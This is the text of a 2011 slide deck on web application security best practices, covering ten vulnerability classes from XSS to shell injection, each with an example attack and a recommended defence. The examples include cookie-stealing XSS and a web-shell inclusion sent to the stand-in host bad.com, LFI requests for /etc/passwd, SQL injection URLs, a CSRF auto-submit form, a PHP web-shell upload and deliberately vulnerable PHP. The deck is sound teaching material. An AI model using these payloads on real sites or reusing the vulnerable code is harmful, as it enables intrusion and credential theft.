Your SlideShare is downloading. ×
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Saving this for later?

Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime - even offline.

Text the download link to your phone

Standard text messaging rates apply

BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

30,153
views

Published on

"Web Application Security is a vast topic …

"Web Application Security is a vast topic
and time is not enough to cover all kind
of malicious attacks and techniques for
avoiding them, so now we will focus on
top 10 high level vulnerabilities.

Web developers work in different ways
using their custom libraries and
intruder prevention systems and now
we will see what they should do and
should not do based on best practices."

- Samvel Gevorgyan

[ Presentation on Scribd ]
http://www.scribd.com/doc/47157267

Published in: Education, Technology

1 Comment
17 Likes
Statistics
Notes
No Downloads
Views
Total Views
30,153
On Slideshare
0
From Embeds
0
Number of Embeds
5
Actions
Shares
0
Downloads
1,204
Comments
1
Likes
17
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide
  • “If you keep your window open, everyone can see you have a meeting in your room. So the best way to keep your privacy is keeping your windows closed.” –SamvelGevorgyan
  • “A clever person solves a problem. A wise person avoids it.” -Albert Einstein
  • Transcript

    • 1. BEST PRACTICES OF
      2011
      WEB APPLICATION SECURITY
      Copyright 2011 © CYBER GATES
      Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License
    • 2. OVERVIEW
      Web Application Security is a vast topic
      and time is not enough to cover all kind
      of malicious attacks and techniques for
      avoiding them, so now we will focus on
      top 10 high level vulnerabilities.
      Web developers work in different ways
      using their custom libraries and
      intruder prevention systems and now
      we will see what they should do and
      should not do based on best practices.
    • 3. CONTENT
      1. Overview
      2. Statistics
      2.1. Statistics of vulnerabilities
      2.2. Statistics of risk levels
      3. Top 10 high level vulnerabilities
      3.1. Cross-Site Scripting
      3.2. Information Leakage
      3.3. SQL Injection
      3.4. Cross-Site Request Forgery
      3.5. ClickJacking
      3.6. Local/Remote File Inclusion
    • 4. 3.7. Unrestricted File Uploads
      3.8. Phishing
      3.9. Session Hijacking
      3.10. Shell Injection
      4. Cross-Site Scripting
      4.1. Defination
      4.2. Types
      4.2.1. Non-persistent
      4.2.2. Persistent
      4.3. Non-persistent
      4.4. Persistent
      4.5. Common targets
      4.6. Potentially Dangerous HTML elements
    • 5. 4.7. Best Solution
      5. Information Leakage
      5.1. Defination
      5.2. Common reasons
      5.2.1. Directory listing misconfiguration
      5.2.2. Unproper error handling
      5.2.3. Unproper filetype handling
      5.2.4. Sensetive HTML comments
      5.3. Directory listing misconfiguration
      5.4. Unproper error handling
      5.5. Unproper filetype handling
      5.6. Sensetive HTML comments
    • 6. 5.7. Best Solution
      6. SQL Injection
      6.1. Defination
      6.2. Types
      6.2.1. Normal SQL Injection
      6.2.2. Blind SQL Injection
      6.3. Normal SQL Injection
      6.4. Blind SQL Injection
      6.5. Solutions
      6.6. Best Solution
      7. Cross-Site Request Forgery
      7.1. Defination
      7.2. Useless defenses
    • 7. 7.3. Solutions
      7.4. Best Solution
      8. ClickJacking
      8.1. Defination
      8.2. FrameKillers
      8.3. FrameKiller killers
      8.4. Best Solution
      9. Local/Remote File Inclusion
      9.1. Defination
      9.2. Types
      9.2.1. Local File Inclusion
      9.2.2. Remote File Inclusion
      9.3. Local File Inclusion
    • 8. 9.4. Remote File Inclusion
      9.5. Common exploits/requests
      9.6. Common methods of attack
      9.7. Potentially dangerous PHP functons
      9.8. Best Solution
      10. Unrestricted File Uploads
      10.1. Defination
      10.2. Common mistakes
      10.3. Best Solution
      11. Phishing
      11.1. Defination
      11.2. Best Solution
      12. Session Hijacking
    • 9. 12.1. Defination
      12.2. Best Solution
      13. Shell Injection
      13.1. Defination
      13.2. Potentially dangerous PHP functions
      13.3. Best Solution
      14. Special thanks
      15. Contact information
      16. References
    • 10. STATISTICS OF VULNERABILITIES
      Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
    • 11. STATISTICS OF RISK LEVELS
      Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
    • 12. TOP 10 HIGH LEVEL VULNERABILITIES
      01. Cross-Site Scripting (XSS) [2005]
      02. Information leakage
      03. SQL Injection [~2005]
      04. Cross-Site Request Forgery (CSRF) [1990s]
      05. ClickJacking [J.Grossman and R.Hansen - 2008]
      06. Local/Remote File Inclusion
      07. Unrestricted File Upload
      08. Phishing[1987, 1996]
      09. Session Hijacking [early 2000s]
      10. Shell injection
    • 13. CROSS-SITE SCRIPTING
      DESCRIPTION:
      Cross-Site Scripting is a type of web application vulnerability when attacker injects his executable code (Javascript, HTML, etc.) into a vulnerable webpage.
      • EXAMPLE:
      http://site.com/search.php?q=<script>alert(“XSS”)</script>
    • 14. CROSS-SITE SCRIPTING
      TYPES:
      Non-Persistent
      Persistent
      1.Non-Persistent:
      In this type of XSS vulnerability an attacker is able to execute his own code into a webpage but no changes can be done in that website.
    • 15. CROSS-SITE SCRIPTING
      Non-Persistent
      EXAMPLE:
      http://www.site.com/viewtopic.php?id=4"><script>document.location="http://bad.com/logger.php?cookie="+document.cookie;</script>
      OR
      http://www.site.com/viewtopic.php?id=4”><script>document.write(“<img src=‘http://bad.com/logger.php?cookie=“+ document.cookie+”’/>”);</script>
    • 16. CROSS-SITE SCRIPTING
      2.Persistent:
      In this case attacker stores his executable script in the vulnerable website database which is being executed every time webpage is showing the data.
      Common targets are:
    • CROSS-SITE SCRIPTING
      Persistent
      EXAMPLE:
    • 20. CROSS-SITE SCRIPTING
      Persistent
      Comment in raw format:
      and I like the way this website developers
      work..hahaha :D :D
      <SCRIPT/XSS
      SRC="http://bad.com/xss.js">
      </SCRIPT>
    • 21. CROSS-SITE SCRIPTING
      Potentially Dangerous HTML elemets:
      TAGS
      ATTRIBUTES
      src, href, lowsrc, xmlns, style, etc.
    • 35. CROSS-SITE SCRIPTING
      Potentially Dangerous HTML events:
      *all HTML events
    • 53. CROSS-SITE SCRIPTING
      SOLUTIONS:
      Input sanitization
      Output sanitization
      • PHP function htmlentities()
    • BEST SOLUTION
      OWASP HTML Purifier
      SAFE
      HTML Purifier defeats XSS with an audited whitelist
      CLEAN
      HTML Purifier ensures standards-compliant output
      OPEN
      HTML Purifier is open-source and highly customizable
    • 60. BEST SOLUTION
      COMPARISON:
      Source: www.htmlpurifier.org/comparison
    • 61. BEST SOLUTION
      COMPARISON:
      Source: www.htmlpurifier.org/comparison
    • 62. INFORMATION LEAKAGE
      DESCRIPTION:
      Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data.
      • EXAMPLE:
      Warning: include(pages/../../../../../../etc/passwd1) [function.include]: failed to open stream: No such file or directory in /usr/www/users/kint/view.php on line 20
    • 63. INFORMATION LEAKAGE
      CAUSES OF:
      Directory listing misconfiguration
      Unproper error handling
      Unproper filetype handling
      Sensitive HTML comments, etc.
      1.Directory listing misconfiguration:
      Leaving directory listing enabled allows the attacker to read the list of all files in a directory.
    • 64. INFORMATION LEAKAGE
      Directory listing misconfiguration
      • EXAMPLE:
      http://www.site.com/admin/
    • 65. INFORMATION LEAKAGE
      2.Unproper error handling:
      Because of unproper error handling all the unexpecting requests will generate error messages which will be visible to the attacker.
      • EXAMPLE:
      Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/aes/public_html/news/list.php on line 81
    • 66. INFORMATION LEAKAGE
      3.Unproper filetype handling:
      Unproper filetype handling allows your important files to be readable by the attacker.
    • INFORMATION LEAKAGE
      Unproper filetype handling
      • EXAMPLE:
      dbClass.inc

      private $host = "localhost";
      private $usr = “root“;
      private $pwd = “i7kT0w“;
      public $db = "brav_new";
      public function Connect(){ … }

    • 72. INFORMATION LEAKAGE
      4.Sensitive HTML comments:
      Notes left by webdevelopers may content important information which will cause of the information leakage.
      • EXAMPLE:
      <form enctype="multipart/form-data" action="upload.php" method="POST">
      <!--check for filetypes php, cgi, pl, bat, exe, dll, reg-->
      <input name="upload_file" type="file" />

    • 73. BEST SOLUTION
      Directory listing misconfiguration
      put a blank file named index.html in that directory.
      put a file named .htaccess in that directory consisting of only this line:Options –indexes
      NOTE: all sub-directories of that directory will also get their directory listings turned off.
    • 74. BEST SOLUTION
      Unproper error handling
      The following configurations should be done in php.ini file:
      • error_reporting = E_ALL
      • 75. display_errors = Off
      • 76. log_errors = On
      • 77. error_log = path/PHP_errors.log //any file in which the web server has write privileges.
    • BEST SOLUTION
      Unproper error handling
      Create an .htaccess file in public_html directory with the following lines:
      php_flag display_errors off
      php_flag log_errors on
      php_value error_log path/PHP_errors.log
      <Files path/PHP_errors.log>
      Order allow,deny
      Deny from all
      Satisfy All
      </Files
    • 78. BEST SOLUTION
      Unproper filetype handling
      Don’t keep your important files with the following extentions in your public web directory if you don’t link to them in the website:
      • Compressed files(*.zip, *.rar, *.tar.gz, etc.)
      • 79. Database files(*.sql, *.cvs, *.xml, *.xls, etc.)
      • 80. Unknown files(*.inc, *.copy, *.bkp, etc.)
    • BEST SOLUTION
      Unproper filetype handling
      If you have a reason to keep those files in your web public directory, create an .htaccess file in that directory with the following lines of code:
      <Files ~ ".(inc|sql)$">  order allow,deny  deny from all</Files>
    • 81. BEST SOLUTION
      Sensitive HTML comments
      No sensetive HTML comment must be used in a website as every user will be able to view the webpage source code.
    • 82. SQL INJECTION
      DESCRIPTION:
      This is a type of vulnerability when attacker injects his custom SQL query to the request to get sensetive data from the database, read or write a file.
      • EXAMPLE:
      http://site.com/product.php?id=4+AND+1=2+UNION+SELECT+0,database(),1,2+--
    • 83. SQL INJECTION
      TYPES:
      Normal
      Blind
      1.Normal:
      In this type of SQL Injection vulnerability attacker sends a custom SQL query and gets the output in the screen.
    • 84. SQL INJECTION
      Normal SQL Injection
      • EXAMPLE:
      http://site.com/product.php?id=1348+AND+1=2+union+select+1,2,user(),database(),
      5,version(),7+--
    • 85. SQL INJECTION
      2.Blind:
      This type of injection is identical to normal SQL Injection except that the SQL query returns positive or negative response.
      • EXAMPLE:
      http://site.com/view.php?page=10+
      and+substring(@@version,1,1)=5+--
    • 86. SQL INJECTION
      SOLUTIONS:
      • PHP.ini configuration
      • 87. magic_quotes_gpc = on
      • 88. PHP functions
      • 89. filter_var()
      • 90. mysql_real_escape_string()
      • 91. sprintf()
      • 92. Put variables into the quotes(e.g: ‘$id’)
      • 93. Assign min privilages for mysql users
    • BEST SOLUTION
      GreenSQL open source database firewall
      Activity monitoring and audit
      User rights management
      Real-time database protection
      Intrusion preventation(IPS)
      Database caching
      Encrypted comunication over SSL
      Virtual patching
      Reporting
    • 94. BEST SOLUTION
      GreenSQL open source database firewall
      Source: www.greensql.net
    • 95. CROSS-SITE REQUEST FORGERY
      DESCRIPTION:
      This vulnerability of web application allows other websites to send it unauthorized requests using the active session of its authorized users.
      • EXAMPLE:
      <img src=“http://site.com/share.php?url=http://bad.com” style=“display:none” />
    • 96. CROSS-SITE REQUEST FORGERY
      EXAMPLE:
      <div style=“display:none”>
      <iframe name=“hidden”></iframe>
      <form name=“Form” action= “http://site.com/post.php” target=“hidden” method=“POST”>
      <input type=“text” name=“message” value=“I like www.bad.com” />
      <input type=“submit” />
      </form>
      <script>document.Form.submit();</script>
      </div>
    • 97. CROSS-SITE REQUEST FORGERY
      USELESS DEFENSES:
      • Only accept POST
      Stops simple link-based attacks (IMG, frames, etc.)
      But hidden POST requests can be created with frames, scripts, etc.
      • Referer checking
      Some users prohibit referers, so you can’t just require referer headers
      Techniques to selectively create HTTP request without referers exist
      • Requiring multi-step transactions
      CSRF attack can perform each step in order
    • 98. CROSS-SITE REQUEST FORGERY
      SOLUTIONS:
      • CAPTHCA systems
      This is a type of challenge-response test used in computing to ensure that the response is not generated by a computer.
      • One-time tokens
      Unlike the CAPTCHA systems this is a unique number stored in the form field and in session to compare them after the form submition.
    • 99. BEST SOLUTION
      Business Processing
      Add Tokento HTML
      OWASPCSRFGuard
      Verify Token
      OWASP CSRFGuard
      User
      (Browser)
      1. Add token with regex
      2. Add token with HTML parser
      3. Add token in browser with Javascript
      Source: www.owasp.org/index.php/CSRFGuard
    • 107. CLICKJACKING
      DESCRIPTION:
      ClickJacking or UI Redressing is an art of taking actions without the user's knowledge, such as clicking on a button that appears to perform another function. It works in all modern browsers that support frames and css.
      • EXAMPLE:
      <div style="position:fixed; width:100%; height:100%; z-index:999;" onclick="alert(‘ClickJacked');"></div>
    • 108. CLICKJACKING
      EXAMPLE:
      <style> iframe { width: 500px; height: 400px; /* Use absolute positioning to line up update button with fake button */
      position: absolute; top: 0px; left: 0px; z-index: 2; /* Hide from view */
      -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }
      button { position: absolute; top: 350px; left: 200px;
      z-index: 1; width: 100px; } </style>
      <h1>BEST GAME EVER!</1>
      <button>PLAY!</button>
      <iframe scrolling="no" src="http://twitter.com/home?status=Yes, I did click the button!!! (WHAT!!??)"></iframe>
    • 109. CLICKJACKING
      EXAMPLE:
    • 110. CLICKJACKING
      FrameKiller(frame busting)
      • Defination:
      Frame killers or frame busting is used to defend against clickjacking attacks.
      • Example:
      if (top.location != location){
      top.location = self.location;
      }
    • 111. CLICKJACKING
      Common FrameKillers
      Conditional statement
      if (top != self)
      if (top.location != self.location)
      if (top.location != location)
      if (parent.frames.length > 0)
      if (window != top)
      if (window.top !== window.self)
      if (window.self != window.top)
      if (parent && parent != window)
      if (parent && parent.frames && parent.frames.length>0)
      if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))
    • 112. CLICKJACKING
      Common FrameKillers
      • Counter-action statement
      top.location = self.location
      top.location.href = document.location.href
      top.location.replace(self.location)
      top.location.href = window.location.href
      top.location.replace(document.location)
      top.location.href = window.location.href
      top.location.href = "URL"
      document.write('')
      top.location.replace(document.location)
      top.location.replace('URL')
      top.location.replace(window.location.href)
      top.location.href = location.href
      self.parent.location = document.location
      parent.location.href = self.document.location
    • 113. CLICKJACKING
      FrameKiller killers
      Double framing
      <iframe src="second.html"></iframe>
      second.html
      <iframe src="http://www.site.com"></iframe>
      Using onBeforeUnload event
      <script>
      window.onbeforeunload=function(){
      return “do you want to leave this page?“;
      }
      </script>
      <iframe src="http://www.site.com"></iframe>
    • 114. CLICKJACKING
      FrameKiller killers
      onBeforeUnload & 204 Flushing
      var prevent bust = 0
      window.onbeforeunload=function(){
      killbust++
      }
      setInterval(function(){
      if(killbust > 0){
      killbust = 2;
      window.top.location = 'http://no-content-204.com'
      } }, 1);
      <iframe src="http://www.victim.com"></iframe>
      etc.
    • 115. BEST SOLUTION
      • FrameKiller(frame busting):
      <style> html{ display : none; } </style>
      <script>
      if( self == top ) { document.documentElement.style.display='block';
      } else { top.location = self.location; }
      </script>
      • OWASP CSRFGuard
      IMPORTANT: Unfortunately, there is no script which would protect your web application against ClickJacking, however above mentioned is the best solution that we have now.
    • 116. FILE INCLUSION
      DESCRIPTION:
      This type of web application vulnerability allows an attacker to include local or remote file into the vulnerable webpage.
      • EXAMPLE:
      http://site.com/view.php?file=../../../../../../../../../../../../../../etc/passwd%00
    • 117. FILE INCLUSION
      TYPES:
      Local
      Remote
      1.Local File Inclusion:
      This type of inclusion is used to include local files. Mostly used for server configuration files such as system users information, filesystem structure, etc.
    • 118. FILE INCLUSION
      LOCAL FILE INCLUSION
      • EXAMPLE:
      http://site.com/include.php?file=../../../../../../../../../../../../../etc/passwd%00
      root:*:0:0:Super User:/root:/bin/csh daemon:*:1:1:Daemon:/nonexistent:/sbin/nologin operator:*:2:5:Operator:/nonexistent:/sbin/nologin bin:*:3:7:Binaries:/nonexistent:/sbin/nologin tty:*:4:65533:tty Sandbox:/nonexistent:/sbin/nologin kmem:*:5:65533:kmem Sandbox:/nonexistent:/sbin/nologin games:*:7:13:Games:/nonexistent:/sbin/nologin news:*:8:8:News Subsystem:/nonexistent:/sbin/nologin man:*:9:9:Man Pages:/nonexistent:/sbin/nologin ftp:*:14:5:Anonymous FTP Admin:/usr/ftp:/nonexistent
    • 119. FILE INCLUSION
      2.Remote File Inclusion:
      Unlike the local file inclusion this is used to include remote scripts such as web shells which is more dangerous than the previous one.
      Main goals:
      • Remote code execution
      • 120. Remote root kit installation and complete system compromise
      • 121. etc.
    • FILE INCLUSION
      REMOTE FILE INCLUSION
      • EXAMPLE:
      http://site.com/include.php?file= http://bad.com/c99_shell.php&act=ls&dir=%2Fvar
    • 122. FILE INCLUSION
      VULNERABLE PHP CODES
      • <?php include($_GET['file']); ?>
      • 123. <?php include($_GET['file'].".htm"); ?>
      • 124. <?php
      include("includes/".$_GET['file']);
      ?>
      • <?php
      include("includes/".$_GET['file'].".htm");
      ?>
      • etc.
    • FILE INCLUSION
      COMMON EXPLOITS/REQUESTS
      ?file=../../../../../../../../../etc/passwd
      ?file=../../../../../../../../../var/lib/locate.db
      ?file=../../../../../../../../../var/log/apache/error.log
      ?file=../../../../../../../../../etc/passwd%00
      ?file=../../../../../../../../../var/www/accounts/%00
      ?file=http://bad.com/xss.php?xss=phpcode
      ?file=http://bad.com/shell.txt
      ?file=data://text/plain;base64,SU5KRUNURUQ=
      ?file=../../../../../../../../../etc/passwd.........
      ?file=../../../../../../../../../etc/passwd…………………..…
      etc.
    • 125. FILE INCLUSION
      COMMON METHODS OF ATTACK
      • Hostile data being uploaded to session files, log data, and via image uploads
      • 126. Using compression or audio streams, such as zlib:// or ogg://(allow_url_fopen/ allow_url_include may be disabled)
      • 127. Using PHP wrappers, such as php://input
      • 128. Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+
      • 129. etc.
    • FILE INCLUSION
      POTENTIALLY DANGEROUS PHP FUNCTIONS
    • BEST SOLUTION
      • Use whitelisted filenames or allow only valid file name characters (e.g: /^(((?:.)(?!.))|w)+$/)
      • 139. Modify the php.ini configuration file:
      register_globals = Off
      magic_quotes_gpc = On
      allow_url_fopen = Off
      allow_url_include = Off
      • Do not use any of the potentially dangerous PHP functions(previous slide) without filtering user input
    • UNRESTRICTED FILE UPLOAD
      DESCRIPTION:
      This vulnerability of a web application allows attacker to upload malicious files to the server. Most of the time those files are web shell scripts to take control over your web server.
      • EXAMPLE:
      $usrFile = $_FILES[‘userfile’][‘name’];
      $uploadFolder= "uploads/"; if(move_uploaded_file($usrFile,$uploadFolder))
      { echo “File has been successfully uploaded.“;
      } else{ echo “Error. Please try again!"; }
    • 140. UNRESTRICTED FILE UPLOAD
      EXAMPLE:
      POST /upload1.php HTTP/1.1

      Content-Type: multipart/form-data; boundary=xYzZY
      --xYzZY
      Content-Disposition: form-data; name="userfile";
      filename="shell.php"
      Content-Type: text/plain
      <?php
      system($_GET['command']);
      ?>
      --xYzZY—
      HTTP/1.1 200 OK

      File has been successfully uploaded.
    • 141. UNRESTRICTED FILE UPLOAD
      COMMON MISTAKES:
      • Using blacklist for file extensions
      Checking only for *.php,*.cgi,..,*.exe, etc. extentions
      • Checking only the mime type
      Checking only the content of $_FILES[‘file’][‘type’]
      • Unproper check of double extensions
      Unproperly checking for the files such as *.php.jpg, *.php.xyz, *.asp.1234, etc.
      • Checking only the image header
      Relying only on PHP functions such as getimagesize()
      • Checking filetype in filename
      Checking content of the filename after the last dot(.)
      • etc.
    • BEST SOLUTION
      • Define an .htaccess file that will only allow access to files with allowed extensions. This will also prevent double extension attacks.
      deny from all
      <Files ~ "^w+.(gif|jpe?g|png)$">
      order deny,allow
      allow from all
      </Files>
    • 142. BEST SOLUTION
      • Prevent overwriting of existing files (to prevent the .htaccess overwrite attack).
      • 143. Create a list of accepted mime-types (map extensions from those mime types).
      • 144. Generate a random file name and add the previously generated extension.
      • 145. Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server-side and client-side validation implemented.
    • PHISHING
      DESCRIPTION:
      Phishing is a Social Engineering technique to steal confidential information about the victim such as user login credentials, credit card information, etc. through the use of fake login page.
      • EXAMPLE:
      http://www.qooqle.com/accounts/ServiceLogin?service=mail
    • 146. PHISHING
      EXAMPLE:
    • 147. BEST SOLUTION
      • Use HTTPS instead of HTTP
      The use of HTTPS is that user may see the details of the domain owner
      in the SSL certificate information.
      • Use short URL addresses for login pages
      Use short URLs so that users could easily recognize login page address.
      • Use Yahoo! Sign-in Seal like system
      Sign-In Seal is a unique identifier chose by the user. This system stores
      the user's unique identifier in the cookie and that cookie is shared
      between local web browsers using Shared Object system provided by
      Adobe Flash Player. It is not associated with the user’s login id, it is
      associated with the user’s machine id.
    • 148. SESSION HIJACKING
      DESCRIPTION:
      This vulnerability of web application is used to gain unauthorized access to web resources of an authoriezed user by having his/her session identifier(SID).
      • EXAMPLE:
      http://wg180.site.com/dk;jsessionid=0754aff827cfe9f7db7f48e7018ed1e6.wg180?st.cmd=userMain&tkn=8809
    • 149. SESSION HIJACKING
      • EXAMPLE:
      http://wg180.site.com/dk;jsessionid= 0754aff827cfe9f7db7f48e7018ed1e6.wg180?st.cmd=userMain&tkn=8809
    • 150. BEST SOLUTION
      • Store SID in HTTP cookies
      To avoid accepting SIDs from GET and POST requests, the following
      modification should be done in php.ini configuration file:
      session.use_cookies = 1
      session.use_only_cookies = 1
      • Regenerate SID on each user request
      Put session_regenerate_id(true); with this parameter after the
      session_start() function call
      • Accept only SIDs generated by your server
      Use $_SESSION['SERVER_GENERATED_SID'] to identify whether SID has been
      created by your web server
    • 151. BEST SOLUTION
      • Check for referrer, user-agent and IP address
      All these three elements can be manipulated, but it is a good habit
      to check them before accepting any data from a user side
      • Destroy old SIDs
      If user has SID which hasn’t been accessed for more than 10 minutes,
      destroy it
      • Comletely distroy the session on user logout
      This kind of logout system may be used to completely distroy all the
      session data
      if (isset($_GET['LOGOUT'])){
      session_unset();
      session_destroy();
      $_SESSION = array(); }
    • 152. SHELL INJECTION
      DESCRIPTION:
      Shell Injection is a web application vulnerability which allows an attacker to execute shell commands in the web server.
      • EXAMPLE:
      http://site.com/manage.php?action=id
    • 153. SHELL INJECTION
      • EXAMPLE:
      http://site.com/delete.php?file=/
      delete.php
      <?php $file = $_GET[‘file’]; echo 'erasing ' . $file . ‘<br />’;system(“rm -Rf $file”) ; echo ‘done‘;?>
    • 154. SHELL INJECTION
      POTENTIALLY DANGEROUS PHP FUNCTIONS
    • BEST SOLUTION
      • Disable all the potentially dangerous PHP functions
      You should disable all the potentially dangerous PHP
      functions in php.ini configuration file which you don’t use:
      disable_functions=system,exec,etc.
      • Allow only whitelisted commands to be used
      You may have a list of non-dangerous commands which will
      be allowed
      • Use PHP built-in function to escape the user input
      Use functions such as escapeshellarg() and escapeshellcmd()
      to escape the user input.
    • 167. THANK YOU!!
      SPECIAL THANKS FOR KIND SUPPORT:
      • MANU ZACHARIA
      MVP (Enterprise Security), ISLA-2010 (ISC)², C|EH, C|HFI, CCNA, MCP, AFCEH
      Certified ISO 27001:2005 LA
      • ROHIT SRIVASTWA
      Founder, ClubHack
      www.clubhack.com
      • C-DAC ACTS
      acts.cdac.in
    • 168. CONTACTS
      • www.cybergates.am
      Corporate website
      • www.twitter.com/CyberGatesLLC
      Company profile on Twitter
      • www.facebook.com/CyberGates.LLC
      Company profile on Facebook
      • www.linkedin.com/company/CyberGates-LLC
      Company profile on LinkedIn
      • www.vimeo.com/CyberGates
      Company channel on Vimeo
    • 169. REFERENCES
      • Statistics
      http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
      http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
      • Cross-Site Scripting
      http://en.wikipedia.org/wiki/Cross-site_scripting
      http://knol.google.com/k/a-short-history-of-cross-site-scripting-viruses-worms
      • Information Leakage
      http://projects.webappsec.org/w/page/13246936/Information-Leakage
      http://phpsec.org/projects/guide/1.html
      • SQL Injection
      http://en.wikipedia.org/wiki/SQL_injection
      http://www.darkreading.com/database-security/167901020/security/application-security/227300073/index.html
      http://websec.wordpress.com/category/sqli/
      • Cross-Site Request forgery
      http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
      http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery
    • 170. REFERENCES
      • ClickJacking
      http://en.wikipedia.org/wiki/Framekiller
      http://seclab.stanford.edu/websec/framebusting/framebust.pdf
      • File Inclusion
      http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
      http://www.madirish.net/?article=427
      • Unrestricted File Upload
      http://www.acunetix.com/websitesecurity/upload-forms-threat.htm
      • Phishing
      http://en.wikipedia.org/wiki/Phishing
      http://security.yahoo.com/article.html?aid=2006102507
      • Session Hijacking
      http://en.wikipedia.org/wiki/Session_fixation
      • Shell Injection
      http://en.wikipedia.org/wiki/Code_injection#Shell_injection